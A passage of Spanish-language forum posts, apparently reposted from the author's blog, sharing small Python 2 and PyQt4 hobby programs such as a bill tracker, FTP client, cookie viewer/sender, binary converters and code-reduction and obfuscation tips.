if respuesta=="s":
try:
os.mkdir("cuentas")
os.mkdir("cuentas_pagadas")
raw_input("Se crearon los archivos necesarios, presiona una enter para ir al programa.")
except:
print "Error al crear los archivos necesarios."
sys.exit(1)
else:
print "No se instalará el programa."
sys.exit(1)
else:
pass
separar_fecha = str(datetime.datetime.now()).split(" ")[0]
parsear_fecha = separar_fecha.split("-")
fecha_normal = " %s/%s/%s"%(parsear_fecha[2], parsear_fecha[1], parsear_fecha[0])
clear_screen()
class cuentas:
def extraer_cuentas(self):
return os.listdir("cuentas/")

def verificar_fechas(self):
try:
for cuenta in self.extraer_cuentas():
ver_pagos = open("cuentas/%s"%cuenta,"r")
for dato, valor in re.findall("(.*):(.*)",ver_pagos.read()):
if "Vence" in dato:
if valor==fecha_normal:
print """
¡ALERTA!
La cuenta de %s vence hoy!
"""%cuenta.capitalize()
ver_pagos.close()
except:
print "No se encontraron cuentas"

def __init__(self):
self.verificar_fechas()

def ver_cuentas(self):
global todos_lospagos
todos_lospagos = []
try:
for ver_cuenta in self.extraer_cuentas():
ver_pagos = open("cuentas/%s"%ver_cuenta,"r")
todos_lospagos.append(ver_pagos.read()+"\n----")
ver_pagos.close()
return True
except:
return False

def agregar_pago(self, tipo, valor, fecha):
clear_screen()
try:
escribir_nuevo = open("cuentas/%s"%tipo,"w")
escribir_nuevo.write("""Tipo de cuenta  : %s
Monto a cancelar: %s
Vence el día    : %s
Estado          : No pagada"""%(tipo, valor, fecha))
escribir_nuevo.close()
return True
except:
return False

def cuenta_pagada(self, cuenta, estado, conservar):
if estado == "s":
if conservar == "s":
try:
cuenta_r = open("cuentas/%s"%cuenta,"r")
cuenta_w = open("cuentas_pagadas/%s"%cuenta,"w")
cuenta_w.write(cuenta_r.read().replace("No pagada", "Pagada"))
cuenta_w.close()
cuenta_r.close()
os.remove("cuentas/%s"%cuenta)
return True
except:
return False
else:
try:
os.remove("cuentas/%s"%cuenta)
return True
except:
return False
else:
return False

def dinero_encuentas(self):
try:
global suma
suma = 0
for h in os.listdir("cuentas_pagadas"):
for valor in re.findall("Monto a cancelar: (.*)",open("cuentas_pagadas/%s"%h,"r").read()):
suma+=int(valor)
return True
except:
return False

pago = cuentas()

while True:
print """
¡ Bienvenido al gestor de pago de cuentas !
La fecha de hoy es%s"""%fecha_normal
try:
opcion_principal = input("""
1.- Ver cuentas.
2.- Agregar/Editar una cuenta.
3.- Informar pago de cuenta.
4.- Ver cuentas pagadas.
5.- Calcular cuanto he pagado en cuentas.
6.- Eliminar una cuenta pagada.
7.- Salir.

Ingresa una opción: """)
if opcion_principal == 7:
break
elif opcion_principal == 1:
clear_screen()
if len(os.listdir("cuentas"))>0:
if pago.ver_cuentas():
pago.verificar_fechas()
print "Cuentas registradas:"
for out in todos_lospagos:
print out
else:
print "Error inesperado."
else:
print "No hay cuentas registradas."
elif opcion_principal == 2:
clear_screen()
print "Si la cuenta ya existe, será reescrita con nuevos datos."
try:
print "Rellene los siguientes campos por favor. Si desea volver al menú presione \"q\" y ENTER."
tipo_c = raw_input("Nombre de la cuenta: ").capitalize()
if tipo_c != "Q":
valor_c = raw_input("¿Cuanto debe pagar?: ")
fecha_pago = raw_input("Fecha de pago(dd/mm/aa):")
v_d = fecha_pago.split("/")
v_f = fecha_normal.split("/")
if len(v_d[0])==2 and len(v_d[1])==2 and len(v_d[2])==4:
if v_d[2]>v_f[2] or v_d[2]==v_f[2] and not v_d[1]<=v_f[1]:
if v_d[1] and v_f[1]:
if pago.agregar_pago(tipo_c, valor_c, fecha_pago):
print "Se agregó la cuenta correctamente."
else:
print "No se pudo agregar la cuenta, intentalo de nuevo."
elif v_d[1]==v_f[1] and v_d[0]>=v_f[0]:
if pago.agregar_pago(tipo_c, valor_c, fecha_pago):
print "Se agregó la cuenta correctamente."
else:
print "No se pudo agregar la cuenta, intentalo de nuevo."
else:
print "La fecha no es válida o ya pasó..."

else:
print "Fecha mal ingresada."
else:
clear_screen()
pass
except:
print "Ingrese datos válidos."

elif opcion_principal == 3:
clear_screen()
if len(os.listdir("cuentas"))>0:
print "Si usted decide no conservar registro de la cuenta, esta\nno será considerada en la opción 5"
print "\nCuentas aún no pagadas:\n------"
print "\n".join(os.listdir("cuentas"))
cuenta = raw_input("------\nCuenta:").capitalize()
estado = raw_input("¿Pagada?(s/n): ").lower()
conservar = raw_input("¿Conservar registro?(s/n): ").lower()
if pago.cuenta_pagada(cuenta, estado, conservar):
print "Realizado con éxito"
else:
print "Ocurrió un problema."
else:
print "No hay cuentas registradas."
elif opcion_principal == 4:
clear_screen()
if len(os.listdir("cuentas_pagadas"))>0:
try:
for h in os.listdir("cuentas_pagadas"):
print open("cuentas_pagadas/%s"%h,"r").read()
print "----"
except:
print "No se pueden ver las cuentas pagadas."
else:
print "No has pagado ni una cuenta aún."
elif opcion_principal == 5:
clear_screen()
if len(os.listdir("cuentas_pagadas"))>0:
if pago.dinero_encuentas():
print "El dinero que has pagado en cuentas es de:",suma
else:
print "No has pagado ni una cuenta aún."
elif opcion_principal == 6:
clear_screen()
cuentas_totales = os.listdir("cuentas_pagadas")
if len(cuentas_totales)>0:
print "Lista de las cuentas ya canceladas:"
for listar_cuentas in cuentas_totales:
print "* "+listar_cuentas
eliminar_cuenta = raw_input("¿Que cuenta ya cancelada desea eliminar?: ").capitalize()
if eliminar_cuenta in cuentas_totales:
try:
clear_screen()
os.remove("cuentas_pagadas/%s"%eliminar_cuenta)
print "Cuenta eliminada Correctamente"
except:
clear_screen()
print "No se pudo eliminar la cuenta."
else:
clear_screen()
print "No existe la cuenta solicitada."
else:
print "No hay cuentas pagadas."
except:
print "La opción ingresada no es un número."


Fuente: http://rootcodes.com/pythongestor-de-pago-de-cuentas/

Saludos, Javier.

[Hoy me tomé un par de minutos para programar un cliente FTP oficial del sitio web]

¡ Hola, buen día !

Hoy me tomé un par de minutos para programar un cliente FTP oficial del sitio web. Es por consola, pero vamos que ya estoy en planes de pasarlo a PyQT4. El código consta de 133 humildes líneas, intenté utilizar el máximo control de errores en el programa, para evitar que el programa salga de su curso normal... Si alguien ve que falla en algo por favor avisad aquí mismo ! , el cliente FTP por consola nos permitirá un par de acciones una vez conectado, estas son las básicas:

1.- Listar directorios / Archivos.
2.- Ingresar a un directorio.
3.- Eliminar un archivo ó directorio.
4.- Crear un directorio.
5.- Descargar un archivo remoto.
6.- Enviar un archivo local.
7.- Ver peso de un archivo remoto.
8.- Desconectar.


No creo que sea necesario describir cada una, así que los invito a leer el código :

Código (python) [Seleccionar] Expandir


# -*- coding: utf-8 -*-
from ftplib import FTP
while True:
estado_conexion = 0
try:
print """
¡ Hola, bienvenido al cliente FTP - RootCodes.Com !

¿ Qué deseas hacer ?

1.- Conectar a servidor FTP.
2.- Creditos/Autor.
3.- Salir.
"""
opc = input("Opcion:")
if opc == 1:
try:
servidor = raw_input("Servidor: ")
usuario = raw_input("Usuario: ")
clave = raw_input("Clave: ")
sesion = FTP(servidor)
print sesion.getwelcome()
try:
estado_conexion = 1
sesion.login(usuario,clave)
pasive_mode = raw_input("¿ Desea activar el modo pasivo ? (s/n) > ").lower()
if pasive_mode == "s":
print "¡ Activando modo pasivo !"
try:
sesion.set_pasv(True)
print "¡ Modo pasivo activado !"
except:
print "¡ No se pudo activar modo pasivo !"
while estado_conexion!=0:
print "\n\nActualmente te encuentras en:", sesion.pwd()
print """
1.- Listar directorios / Archivos.
2.- Ingresar a un directorio.
3.- Eliminar un archivo ó directorio.
4.- Crear un directorio.
5.- Descargar un archivo remoto.
6.- Enviar un archivo local.
7.- Ver peso de un archivo remoto.
8.- Desconectar.
"""
try:
in_server = input("Opción: ")
except:
print "¡ Ingresa un número porfavor !"
if in_server == 1:
try:
print "Lista de archivos / directorios:"
sesion.dir()
except:
print "¡ Error al listar archivos / directorios !"
elif in_server == 2:
try:
join_dir = raw_input("Directorio: ")
sesion.cwd(join_dir)
except:
print "¡ Error al intentar ingresar al directorio !"
elif in_server == 3:
print "1.- Eliminar archivo.\n2.- Eliminar Directorio."
try:
que_eliminar = input("Opción: ")
except:
print "¡ Por favor ingresa un número válido !"
if que_eliminar == 1:
try:
archivo_del = raw_input("Archivo a eliminar: ")
sesion.delete(archivo_del)
print "¡ Archivo eliminado correctamente !"
except:
print "¡ Error al intentar eliminar el archivo !"
elif que_eliminar == 2:
try:
carpeta_del = raw_input("Directorio a eliminar: ")
sesion.rmd(carpeta_del)
print "¡ Directorio Eliminado correctamente !"
except:
print "¡ Error al intentar eliminar el directorio !"
else:
print "¡ Opción ingresada no existe !"
elif in_server == 4:
try:
crear_carpeta = raw_input("Nombre del nuevo directorio: ")
sesion.mkd(crear_carpeta)
print "¡ Nuevo directorio creado con éxito !"
except:
print "¡ Error al intentar crear el directorio !"
elif in_server == 5:
try:
archivo_download = raw_input("Archivo a descargar: ")
sesion.retrbinary("RETR %s"%archivo_download, open(archivo_download,"wb").write)
print "¡ Archivo descargado con éxito !"
except:
print "¡ No se pudo descargar el archivo !"
elif in_server == 6:
try:
archivo_local = raw_input("Archivo local: ")
file_local = open(archivo_local,'rb')
sesion.storbinary("STOR "+archivo_local, file_local)
file_local.close()
print " ¡Archivo enviado con éxito !"
except:
print "¡ No se pudo enviar el archivo !"
elif in_server == 7:
try:
archivo_peso = raw_input("Archivo local: ")
print "El peso del archivo %s, es: %s"%(archivo_peso,sesion.size(archivo_peso))
except:
print "¡ No se pudo obtener el peso !"
elif in_server == 8:
sesion.quit()
estado_conexion=0
print "¡ Desconectado con éxito !"
except:
print "¡ No se pudo lograr la conexión !"
except:
print "¡ Error en los datos de conexión !"

elif opc == 2:
print """
Créditos -> Autor : JaAViEr || 0x5d
  Twitter : @0x5d
  WebSite : http://www.rootcodes.com
"""

elif opc == 3:
print "¡ Gracias por utilizar Cliente FTP - RootCodes.Com !"
break
except:
print "¡ Opción incorrecta !"

¡ Espero les haya gustado !

Fuente : http://rootcodes.com/pythoncliente-ftp-rootcodes-com/

Saludos, Javier.

[cookies]

Hola, buen día !

Hoy, estuve leyendo acerca de las preciadas cookies, antes de continuar, por si alguien no sabe que son las cookies, consultemos a la ya famosa Wikipedia:

Los cookies enInformática sirven para:

   
• Llevar el control de usuarios: cuando un usuario introduce su nombre de usuario y contraseña, se almacena una cookie para que no tenga que estar introduciéndolas para cada página del servidor. Sin embargo, una cookie no identifica a una persona, sino a una combinación de computador-navegador-usuario.
• Conseguir información sobre los hábitos de navegación del usuario, e intentos de spyware, por parte de agencias de publicidad y otros. Esto puede causar problemas de privacidad y es una de las razones por la que las cookies tienen sus detractores.

Para la info completa aquí !

Bien, con este tema rápidamente me vinieron a la mente varias ideas para programar con respecto al caso. Me puse manos a la obra y pues por ahora conseguí un humilde programa de 68 líneas (sin reducir nada).

El código lo que hace es enseñarnos 3 opciones:

   
• Ver cookies.
• Enviar cookies.
• Salir.

Con la primera opción, nos pedirá una URL y nos devolverá las cookies contenidas en dicho sitio, posteriormente nos da la opción de poder almacenarla en un archivo.

Mientras que la segunda opción nos permitirá enviar una o más cookies a algún sitio web(NO ME HAGO RESPONSABLE DEL MAL USO QUE LE PUEDAN DAR), dándonos la opción de guardar la salida del HTML en un archivo local o simplemente mostrarlo en consola.

Si piensan en: Y para que guardarlo ? , podría ser para ver si algún logueo se realiza de forma correcta, si algunos datos varían con cada cookie, etc. A su imaginación lo dejo !

La tercera opción no tiene mucha ciencia, no creo que haya que explicarla jajaja. Bien, sin más preámbulos, el código:

Código (python) [Seleccionar] Expandir

# -*- coding: utf-8 -*-
#Autor: JaAViEr|0x5d
#Web: http://www.rootcodes.com
#Twitter: @0x5d

import urllib2, re, sys

while True:
print"""
¡ Obtén o envía cookies desde Python !

1.- Ver cookies.
2.- Enviar cookies.
3.- Salir.
"""
try:
opc = input("Opción ::> ")
if opc in range(1,4):
if opc == 3:
break
elif opc==1:
try:
url = raw_input("URL :: > http://")
headers = urllib2.urlopen("http://%s"%url).info()
cookie = re.findall("Set-Cookie:(.*)",str(headers))[0]
if cookie:
print "Cookie obtenida:\n", cookie
save_q = raw_input("Guardar la cookie en un archivo?(TXT) (s/n) ::>").lower()
if save_q=="s":
try:
archivo = open("%s.txt"%raw_input("Archivo : "),"w")
archivo.write(str(cookie))
archivo.close()
print "Archivo guardado con éxito!"
except:
print "No se pudo guardar el archivo..."
else:
print "No se obtuvo cookies..."
except:
print "No se pudo conectar"
elif opc==2:
print "Recuerda separar cada cookie con un punto y coma (;) !"
try:
url = raw_input("URL :: > http://")
cookie_tosend = raw_input("Cookies: ")
save_cookies = urllib2.build_opener()
save_cookies.addheaders.append(('Cookie', cookie_tosend))
abrir_web = save_cookies.open("http://%s"%url)
try:
q_show = raw_input("Desea volcar el html en un archivo?(HTML) (s/n) ::> ")
if q_show=="s":
try:
save_output = open("%s.html"%raw_input("Archivo de salida(sin .html):"),"w")
save_output.write(abrir_web.read())
save_output.close()
print "Archivo guardado con éxito !"
except:
print "No se pudo guardar el archivo..."
else:
print abrir_web.read()
except:
print "Ocurrió un problema inesperado..."
except:
print "Error inesperado..."
else:
print "No existe dicha opcion"
except:
print "Por favor ingresa un número"
Hice el código lo más ordenado posible, manejando controles de error para todo, evitando un código desastroso (:

Pueden hacer la prueba del programa con esta url : Prueba Cookies

Envíen desde el programa, la cookie "name=Javier" y vean el resultado

Y como siempre... Espero sea de su agrado el código !

Fuente: http://rootcodes.com/pythonenviando-y-recibiendo-cookies-jaavier0x5d/

Saludos, Javier.

[Python es un lenguaje poco menos inofuscable(no sé si exista la palabra )]

Hola, buen día a todos nuevamente !

Estuve pensando en la gente que dice que Python es un lenguaje poco menos inofuscable(no sé si exista la palabra ) y me pensé hacer un código ofuscado, pero sin depender de librerías :O , Python puro, ya que en la vez pasada lo hice vía base64 más algunas cositas -> http://www.rootcodes.com/pythoncalculadora-ofuscada

Ahora me propuse hacer otro código ofuscado, pero sin librerías ni nada. Es algo difícil de hacer(relativamente), ya que Python es un lenguaje estructurado, lo que facilita la lectura del código, así que ahí me las anduve ingeniando para que sea algo más engorroso , el código es el siguiente, espero sea de su 'agrado':

Código (python) [Seleccionar] Expandir

def ____(a_a_a):
_____, ______, ________ = ([],[a_a_a],"")
while ______[+False-True]!=False:     (_____
, ______)=(_____+[______[False-True-True+True]%(True-False+True)],______+[______[-True+False+False**3]/(False+False+True*2)])
for _ in _____[::-True]: ________+="%s"%_
return (
________
)
(other_s
,t,
_x_) = ([
],raw_input,
[" "]
)
h = (
[__
for
__
in
str(
"""abcdefghijkl
mnopqrs
tuvwxyz"""
)
])
([(h.pop(),
other_s.append("%s"%(
___)))for ___
in
"""abcdefghijkl
mnopqrs
tuvwxyz"""
  ]);
( [
_x_.append(_i_.replace("\n",""))
for _i_
in
other_s
] )
for s_s in t(">"): print ____(_x_.index(s_s)),

Bien, y que hace ?
Te pedirá un texto y te devolverá la posición de cada letra, pero en Binario , espero que alguien más se anime a ofuscar código Python y lo suba

Fuente : http://rootcodes.com/pythoncodigo-ofuscado-jaavier0x5d/

Saludos, Javier

[amado Python]

Hola, buen día !
No encontré un mejor título XD, pero aquí voy...
En esta oportunidad pretendo seguir fomentando la reducción de código, aunque sea por unos cuantos caracteres, las formas que explicaré quizás no sean tan útiles para reducir mucho el source, pero si podrían usarlo para ofuscar códigos .

Bien, al grano ! . Como bien sabemos, hay varias funciones internas en nuestro amado Python, tales
como : int(), str(), raw_input(), input(), etc...

Entre esa lista podemos incluir nuestras funciones creadas vía "def". Bien, pero eso que tiene de
especial ? , ahora vamos a eso ...

Pondré un caso bien sencillo con el uso de def():

Código (python) [Seleccionar] Expandir

def funcion(parametro):
print parametro

func = funcion
print func

Veremos que la salida es:

Código [Seleccionar] Expandir

<function funcion at 0xb74a2454>
Bueno y eso qué dirán ustedes , aquí viene lo entretenido. Podemos insertar nuestra función dentro de una variable cualquiera y a partir de ese momento podemos llamar a dicha función por
el nombre de la variable... No se entiende ? , un ejemplo:

Código (python) [Seleccionar] Expandir

def funcion_sumar(primero, segundo):
return primero+segundo

sumando = funcion_sumar
print "Resultado:",sumando(1,2)
Salida:

Código [Seleccionar] Expandir

Resultado: 3
Lo mismo podemos aplicar con las anteriores funciones mencionadas. Yo sinceramente la utilidad que le veo es más que nada para la ofuscación de códigos o para utilizar menos carácteres en
nuestro código, cuando llamamos muchas veces a la función.

Bien, otra forma singular de llamar funciones podría ser insertar nuestras funciones en un diccionario, para quienes no saben a que me refiero con un diccionario:

Código (python) [Seleccionar] Expandir

diccionario = {"variable":valor}
Un sencillo ejemplo para que vean a que me refiero:

Código (python) [Seleccionar] Expandir

funciones = {"alfa":raw_input,"nums":input}
print funciones['alfa']("Texto ::>")
print funciones['nums']("Numero ::>")

Bien, es una manera diferente, pero no es la mejor para optimizar nuestros códigos...
Una forma similar, pero más corta sería:

Código (python) [Seleccionar] Expandir

alfa, nums = (raw_input, input)
print alfa("Texto ::>")
print nums("Numero ::>")
Eso quiere decir que alfa = raw_input() y nums = input()

Lo bueno de esto es que no nos limita a solo usarlo con Python en Consola, podemos aplicarlo por
ejemplo al hermoso PyQT4, por ejemplo, para no tener que escribir QtGui.QPushButton("Valor",self)
cada vez que creamos un botón, o para no tener que escribir QtGui.QLabel("Valor",self) por cada
label, tampoco tener que escribir QtGui.QLineEdit("Valor",self) por cada LineEdit en el formulario.
Podemos usar las siguientes líneas:

Código (python) [Seleccionar] Expandir

label, inpt, boton =(QtGui.QLabel,QtGui.QLineEdit,QtGui.QPushButton)
Por lo que luego de eso para crear un QtGui.QLabel(); solo debemos llamarlo así:

Código (python) [Seleccionar] Expandir

label("New Label", self)
De igual forma es aplicable para cada elemento, también podríamos utilizarlo para ofuscar códigos en PyQT4, pero a eso si que no le veo más utilidad que proteger nuestro source QT4, un ejemplo
de lo que digo en PyQT4:

Código (python) [Seleccionar] Expandir

# -*- coding: utf-8 -*-
# Autor : 0x5d ~> JaAViEr
# Sitio Web ~> www.codigo.ga
# Twitter ~> @javieresteban__

from PyQt4 import QtGui, QtCore
import sys

class testeo(QtGui.QWidget):
  def __init__(self, parent=None):
    QtGui.QWidget.__init__(self, parent)
    self.setWindowTitle("Bin to Dec | 0x5d")
    label, inpt, boton =(QtGui.QLabel,QtGui.QLineEdit,QtGui.QPushButton)
    self.label_binario = label("Binario :", self).setGeometry(2,15,59,17)
    self.input_binario = inpt(self)
    self.input_binario.setGeometry(60,10,230,27)
    self.label_resultado = label("Resultado :", self).setGeometry(2,50,80,17)
    self.input_salida = inpt(self)
    self.input_salida.setGeometry(80,43,210,27)
    self.input_salida.setReadOnly(True)
    self.boton_limpiar = boton("Limpiar campos", self)
    self.boton_limpiar.setGeometry(1,75,140,27)
    self.boton_convertir = boton("Convertir", self)
    self.boton_convertir.setGeometry(145,75,140,27)
    self.connect(self.boton_limpiar, QtCore.SIGNAL("clicked()"), self.clear_inputs)
    self.connect(self.boton_convertir, QtCore.SIGNAL("clicked()"), self.conversor)

  def clear_inputs(self):
    self.input_binario.setText("")
    self.input_salida.setText("")

  def conversor(self):
    numero = str(self.input_binario.text())
    t = 0
    for i,h in zip(numero[::-1],range(0,len(numero))): t+=int(i)*2**int(h)
    self.input_salida.setText(str(t))

app = QtGui.QApplication(sys.argv)
form = testeo()
form.show()
app.exec_()

Espero sea de su agrado el artículo !

Fuente : http://codigo.ga/python/python-tecnicas-reduccion-y-ofuscacion-de-codigo/

Saludos, Javier !

Hola, buen día gente !
En esta oportunidad hice un código que nos pedirá un texto cualquiera y contará cuantas veces se repite cada letra en el texto:

Código (python) [Seleccionar] Expandir

# Autor: 0x5d | JaAViEr
# Twitter: @0x5d
# Fuente : http://rootcodes.com
string, lista, nueva = (raw_input(">"), [], [])
for h in string:
contador=0
for s in string:
if h == s:
contador += 1
lista.append("%s:%s"%(h,contador))
out = [nueva.append(nn) for nn in lista if nn not in nueva]
print "Repeticiones:"
for salida in nueva: print salida
Ejemplo de salida:

Código [Seleccionar] Expandir

jaavier@Debian:~/codigos$ python repeticiones.py
>hola, saludos a todos
Repeticiones:
h:1
o:4
l:2
a:3
,:1
:3
s:3
u:1
d:2
t:1

Fácilmente podrían hacer para que haga lo mismo pero desde un archivo

Saludos, Javier.

[no vengo a dejar un graaaaaaaaaan material]

Hola, buen día a todos !

En esta oportunidad no vengo a dejar un graaaaaaaaaan material , pero siempre me gusta intentar hacer una misma cosa de varias maneras. Es por eso que decidí ver de cuantas formas podríamos hacer para verificar si una palabra es palíndromo. Bien, veamos el primero:

Código (python) [Seleccionar] Expandir

n = raw_input(">")
if n.isdigit():
d = [h for h in n]
if d == d[::-1]:  print "El numero es capicua: %s"%(n)
else: print "El numero no es capicua : %s"%(n)
else:
d = [h for h in n]
if d == d[::-1]:  print "El texto es palindromo: %s"%(n)
else: print "El texto no es palindromo : %s"%(n)
Como podemos apreciar el código es bastante sencillo , pedimos entrada por teclado. Verificamos si es la variables un dígito o no(if n.isdigit()). Luego la típica salida invirtiendo la cadena con variable[::-1].

Veamos otro código más sencillo aún:

Código (python) [Seleccionar] Expandir

variable = raw_input("Texto ::> ")
print "Resultado:",[h for h in variable[::-1]] == [s for s in variable]
Apenas dos líneas , un ejemplo de salida sería:

Código [Seleccionar] Expandir

jaavier@Debian:~/codigos$ python palindromo.py
Texto ::> reconocer
Resultado: True
jaavier@Debian:~/codigos$
Otro ejemplo muy similar sería:

Código (python) [Seleccionar] Expandir

var = raw_input("Texto ::> ")
print "Respuesta:",var == var[::-1]
Con la misma salida que el anterior:

Código [Seleccionar] Expandir

jaavier@Debian:~/codigos$ python palindromo.py
Texto ::> reconocer
Resultado: True
jaavier@Debian:~/codigos$
Y pues la manera más típica:

Código (python) [Seleccionar] Expandir

var = raw_input("Texto ::> ")
if var==var[::-1]:
print "Es Palindromo"
else:
print "No es palindromo"
También tenemos la famosa función lambda():

Código (python) [Seleccionar] Expandir

palindromo = lambda parametro: parametro==parametro[::-1]
print palindromo(raw_input("Texto ::> "))
Nos devolverá True o False.
Y Pues si son unos amantes de la reducción de código como yo, pueden aplicar:

Código (python) [Seleccionar] Expandir

print (lambda d: d==d[::-1])(raw_input("Texto ::> "))
Y a ti , que forma se te ocurre ?

Fuente: http://rootcodes.com/pythonformas-de-saber-si-una-palabra-es-palindromo/

Saludos, Javier.

[(esto me fascina)]

Hola, buen día a todos !

En esta oportunidad pretendo explicar como declarar varias variables, con ánimos de reducir código (esto me fascina). En un caso utilizaré tuplas para declarar variables, en otra el comando exec() y pues como se nos ocurra. El primer ejemplo de como declarar más de una variable en una sola línea:

Código (python) [Seleccionar] Expandir

exec("%s"%"uno='Elemento 1';dos='Elemento 2'")

nos creará la variable "uno" con valor "Elemento 1" y la variables "dos" con valor "Elemento 2" , es cosa de solo añadir un:

Código (python) [Seleccionar] Expandir

print uno, dos

Otra forma podría ser:

Código (python) [Seleccionar] Expandir

# -*- coding: utf-8 -*-
valores = ("Elemento 1","Elemento 2")
variables = "uno,dos"
exec("%s=valores"%variables)

que también utiliza exec() para llevar acabo el cometido.
Se me ocurre esto también:

Código (python) [Seleccionar] Expandir

uno, dos, tres = ("Elemento 1", "Elemento 2", "Elemento 3")
print uno, dos, tres

Lo que nos crea 3 variables: uno, dos, tres.
Valores: Elemento 1, Elemento 2, Elemento 3

También usando exec() :

Código (python) [Seleccionar] Expandir

variables = ['uno="Elemento 1"','dos="Elemento 2"','tres="Elemento 3"']
for i in variables:
  exec(i)
print uno, dos, tres


Si queremos reducir dicho código:

Código (python) [Seleccionar] Expandir

for i in ['uno="Elemento 1"','dos="Elemento 2"','tres="Elemento 3"']:  exec(i)
print uno, dos, tres

Como ven hay muchas formas de poder declarar múltiples variables en pocas
líneas , espero que encuentren su utilidad (:

Saludos, 0x5d!

Fuente : http://rootcodes.com/pythondiferentes-maneras-de-declarar-variables/

[Python + QT4]

Hola, buen día !

Sigo con mis prácticas en Python + QT4. Posterior a esto seguiré con el tutorial que estuve escribiendo para RootCodes... En esta oportunidad he traspasado este código en consola ~&gt; [Python]Detectar formulario y campos de un sitio web a PyQT. Así aprovechando de utilizar QTreeWidget(); Para aprender a usarlo y a la vez que ustedes vean como se usa.

Un ScreenShot de la App :



Y el Código :

Código (python) [Seleccionar] Expandir


# -*- coding: utf-8 -*-
# Autor ~> JaAViEr|0x5d
# Sitio Web ~> http://www.rootcodes.com
# Twitter ~> @0x5d

from PyQt4 import QtCore, QtGui
import sys, urllib, re

class aplica(QtGui.QWidget):
  def __init__(self, parent=None):
    QtGui.QWidget.__init__(self, parent)
    self.setWindowTitle("Detectar campos de un formulario | 0x5d")
    self.resize(510,570)
    self.arbol = QtGui.QTreeWidget(self)
    self.arbol.setGeometry(5,70,500,500)
    self.label_url = QtGui.QLabel("URL/Host :", self).setGeometry(5,10,64,27)
    self.input_url = QtGui.QLineEdit(self)
    self.input_url.setGeometry(73,10,430,27)
    self.boton = QtGui.QPushButton("Extraer campos del formulario",self)
    self.boton.setGeometry(73,40,430,27)
    self.connect(self.boton, QtCore.SIGNAL("clicked()"), self.extractor)
    self.arbol.headerItem().setText(0,"Campos")

  def extractor(self):
    var = urllib.urlopen(str(self.input_url.text())).read()
    datos_r = []
    for campos in re.findall("<input (.*)>",var):
      if "name" in campos.lower():
for cam in campos.split():
  if re.findall("name=(.*)",cam):
    datos_r.append(cam.replace('"',""))
    #print "URL a enviar POST:",url_enviar.replace(">","")
    for x,y in enumerate(datos_r):
      exec("primer_%s = QtGui.QTreeWidgetItem(self.arbol)"%x)
      exec("self.arbol.topLevelItem(%s).setText(0, \"%s\")"%(x,y.replace("name=","")))
     
app = QtGui.QApplication(sys.argv)
form = aplica()
form.show()
app.exec_()


Fuente: http://rootcodes.com/pyqt4detectar-campos-de-un-formulario-web/

Saludos, Javier.

[mi PC. Instalé el Debian de nuevo]

Hola a todos !

Como le he vuelto a dar la vida a mi PC. Instalé el Debian de nuevo, no podía faltar instalar el amado QT4. Así que me propuse como práctica crear este mismo código Consola ~> [Python]Decimal a binario y su invero, que por cierto también pasé a la web ~> Binary Converter Online. Esta vez en PyQT4 primero les dejo el screenshot de como se ve:


Y Su código :

Código (python) [Seleccionar] Expandir


# -*- coding: utf-8 -*-
# Autor : 0x5d ~> JaAViEr
# Sitio Web ~> www.rootcodes.com
# Twitter ~> @0x5d

from PyQt4 import QtGui, QtCore
import sys

class testeo(QtGui.QWidget):
  def __init__(self, parent=None):
    QtGui.QWidget.__init__(self, parent)
    self.setWindowTitle("Bin to Dec | 0x5d")
    self.label_binario = QtGui.QLabel("Binario :", self).setGeometry(2,15,59,17)
    self.input_binario = QtGui.QLineEdit(self)
    self.input_binario.setGeometry(60,10,230,27)
    self.label_resultado = QtGui.QLabel("Resultado :", self).setGeometry(2,50,80,17)
    self.input_salida = QtGui.QLineEdit(self)
    self.input_salida.setGeometry(80,43,210,27)
    self.input_salida.setReadOnly(True)
    self.boton_limpiar = QtGui.QPushButton("Limpiar campos", self)
    self.boton_limpiar.setGeometry(1,75,140,27)
    self.boton_convertir = QtGui.QPushButton("Convertir", self)
    self.boton_convertir.setGeometry(145,75,140,27)
    self.connect(self.boton_limpiar, QtCore.SIGNAL("clicked()"), self.clear_inputs)
    self.connect(self.boton_convertir, QtCore.SIGNAL("clicked()"), self.conversor)
 
  def clear_inputs(self):
    self.input_binario.setText("")
    self.input_salida.setText("")
   
  def conversor(self):
    numero = str(self.input_binario.text())
    t = 0
    for i,h in zip(numero[::-1],range(0,len(numero))): t+=int(i)*2**int(h)
    self.input_salida.setText(str(t))
   
app = QtGui.QApplication(sys.argv)
form = testeo()
form.show()
app.exec_()

Y Decimal a Binario:

Código ~>:

Código (python) [Seleccionar] Expandir


# -*- coding: utf-8 -*-
# Autor : 0x5d ~> JaAViEr
# Sitio Web ~> www.rootcodes.com
# Twitter ~> @0x5d

from PyQt4 import QtGui, QtCore
import sys

class testeo(QtGui.QWidget):
  def __init__(self, parent=None):
    QtGui.QWidget.__init__(self, parent)
    self.setWindowTitle("Dec to Bin | 0x5d")
    self.label_binario = QtGui.QLabel("Decimal:", self).setGeometry(2,15,59,17)
    self.input_binario = QtGui.QLineEdit(self)
    self.input_binario.setGeometry(60,10,230,27)
    self.label_resultado = QtGui.QLabel("Resultado :", self).setGeometry(2,50,80,17)
    self.input_salida = QtGui.QLineEdit(self)
    self.input_salida.setGeometry(80,43,210,27)
    self.input_salida.setReadOnly(True)
    self.boton_limpiar = QtGui.QPushButton("Limpiar campos", self)
    self.boton_limpiar.setGeometry(1,75,140,27)
    self.boton_convertir = QtGui.QPushButton("Convertir", self)
    self.boton_convertir.setGeometry(145,75,140,27)
    self.connect(self.boton_limpiar, QtCore.SIGNAL("clicked()"), self.clear_inputs)
    self.connect(self.boton_convertir, QtCore.SIGNAL("clicked()"), self.conversor)
 
  def clear_inputs(self):
    self.input_binario.setText("")
    self.input_salida.setText("")
   
  def conversor(self):
    resto = []
    nuevo = [int(self.input_binario.text())]
    while nuevo[-1]!=0:
      resto.append(nuevo[-1]%2)
      nuevo.append(nuevo[-1]/2)
    s = ""
    for i in resto[::-1]: s+="%s"%i
    self.input_salida.setText(str(s))
   
app = QtGui.QApplication(sys.argv)
form = testeo()
form.show()
app.exec_()


Fuente : http://rootcodes.com/pyqt4binario-a-decimal-y-su-inverso/

Saludos, Javier.

[QLineEdit()]

Hola nuevamente !

En la [Parte3] dejé pendiente hablar sobre como obtener los datos de un QLineEdit(), voy a ir directo al grano .

Pondré un ejemplo sencillo, tenemos el QLineEdit():

Código (python) [Seleccionar] Expandir

self.input_datos = QtGui.QLineEdit(self)
Entonces para obtener lo que ingresamos, usamos la propiedad .text() acompañada de un str() para que no devuelva el objeto y si el valor:

Código (python) [Seleccionar] Expandir

variable = str(self.input_datos.text())

  Entonces solo bastaría poner dicha línea en la función del botón(self.connect):

